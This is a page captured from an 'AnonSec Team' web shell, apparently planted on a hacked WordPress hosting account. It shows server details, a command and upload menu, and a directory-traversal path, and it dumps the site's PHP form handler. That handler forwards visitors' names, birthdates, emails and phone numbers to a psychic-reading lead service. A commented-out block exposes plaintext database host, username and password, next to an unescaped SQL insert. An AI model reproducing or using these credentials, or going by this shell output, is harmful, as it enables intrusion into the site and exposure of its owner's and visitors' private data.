AnonSec Team
Server IP : 10.106.20.4  /  Your IP : 216.73.216.140
Web Server : Apache
System : Linux webm004.cluster106.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : sylvaineey ( 605664)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/sylvaineey/www/wp-content/plugins/wordpress-seo/../updraftplus/../../../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/sylvaineey/www/wp-content/plugins/wordpress-seo/../updraftplus/../../../send7.php
<?php
session_start();

include dirname( __FILE__ ) . '/wp-content/plugins/tlmq-consents/tlmq-consents.php';

$return = "false";
if(isset($_POST['email'])){
	$email = $_POST['email'];
}
if(isset($_POST['prenom'])){
	$prenom = $_POST['prenom'];
}
if(isset($_POST['nom'])){
    $nom = $_POST['nom'];
}
if(isset($_POST['datenaissance'])){
	$naissance = $_POST['datenaissance'];
	$naissancetab = explode("/", $naissance);
	$datenaissance = $naissancetab[2]."-".$naissancetab[1]."-".$naissancetab[0];
}
if (isset($_POST['telephone'])) {
    $telephone = trim($_POST['telephone']);
    $telephone = str_replace(' ', '', $telephone);
    $telephone = preg_replace('/\s+/', '', $telephone);
}
if (isset($_POST['telephone']) && isset($_POST['prefixe']) && $_POST['prefixe']!='33' && is_numeric($_POST['prefixe']) ) {
    $telephone = '00'.$_POST['prefixe'].substr( $telephone, 1 );
}
if(isset($_POST['signe'])){
	$signe = $_POST['signe'];
}
if(isset($_POST['sexe'])){
    $sexe = $_POST['sexe'];
}
if(isset($_POST['question'])){
    $question = $_POST['question'];
}
//$adresse_ip = $REMOTE_ADDR;
$adresse_ip = $_SERVER['REMOTE_ADDR'];
//$web = 2;
//$captcha = $_POST['captcha'];
//$captcha = $_SESSION['qaptcha_key'];
//$_SESSION['qaptcha_key'] = $captcha;
//var_dump($_SESSION['qaptcha_key']);
if(isset($_POST['nom']) && !empty($_POST['nom']))
{

    if ($_POST['type']) {
        $consentArray = [];
        foreach ($_POST['consents'] as $key => $consent) {
            $consentArray[$consent] = 'on';
        }

        $gender = $sexe === 'M' ? 1 : 2;

        $partner = 'default';
        $pathname = isset($_POST['path']) ? $_POST['path'] : '/';

        $params = array(
            'firstname' => $prenom,
            'lastname' => $nom,
            "sexe" => $gender,
            'email' => $email,
            'birthdate' => $datenaissance,
            'phone_number' => $telephone,
            'partner' => $partner,
            'type' => 'QG',
            'pathname' =>  $pathname,
            'course' => 'cap',
            'consents' => $consentArray,
            'oriannaQG' => 'false',
            'question' => $question,
        );

        sendProspect($params);
    }

    $url = 'http://www.orianna-voyance.com/ws_qgratuite/';
    $post_data = array(
        "action" => "addQuestion",
        "token" => md5($email."cosmoqgratuite".$prenom),
        "question" => array(
            "firstname" => $prenom,
            "lastname" => $nom,
            "sexe" => $sexe,
            //m pour homme,
            // f pour femme
            "phone_number" => $telephone,
            // tout accroché, avec le 0 initial pour la france, ou avec l'indicatif au format 00xx pour l'international
            "question" => $question,
            "email" => $email,
            "birthday" => $datenaissance,
            "site" => 21
        )
    );
    $post_data['question']['RTC'] = "04 92 90 92 52"; // au format 04 05 06 07 08, le numéro de téléphone de partenariat voyance
    $post_data['question']['RTC_INTER'] = "+33 (0)4 92 90 92 52"; //+33 (0)4 05 06 07 08, le numéro de téléphone de partenariat voyance au format internationnal
    //$post_data['question']['AUDIOTEL'] = "04 70 08 08 08"; // au format 08 92 00 00 00, le numéro audiotel de partenariat voyance




    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_POST, true);
    curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    $response = json_decode(curl_exec($curl));
    curl_close($curl);

    if (isset($response->error)) echo "<script>console.log( 'Debug Willl: OK > ');</script>";


    $captcha = $_SESSION['qaptcha_key'];
	
/*	$host = 'sylvaineey1.mysql.db';
	$user = 'sylvaineey1';
	$passwd = 'oMegsylv1';
	$bdd = 'sylvaineey1';
	$date_now = new DateTime();
	$date_inscription = date_format($date_now, 'Y-m-d H:i:s');
	mysql_connect($host, $user,$passwd) or die("erreur de connexion au serveur");

	mysql_select_db($bdd) or die("erreur de connexion a la base de donnees");
	mysql_query("INSERT INTO membres VALUES('','','','$email','','$prenom','$datenaissance','','','','$adresse_ip','$date_inscription','$signe','','','$telephone','8')");
*/

	$return = "true";
    //$return = json_encode($post_data);

}
else{
	$return = "false";
}

echo $return;
unset($_SESSION['qaptcha_key']);

?>

AnonSec - 2021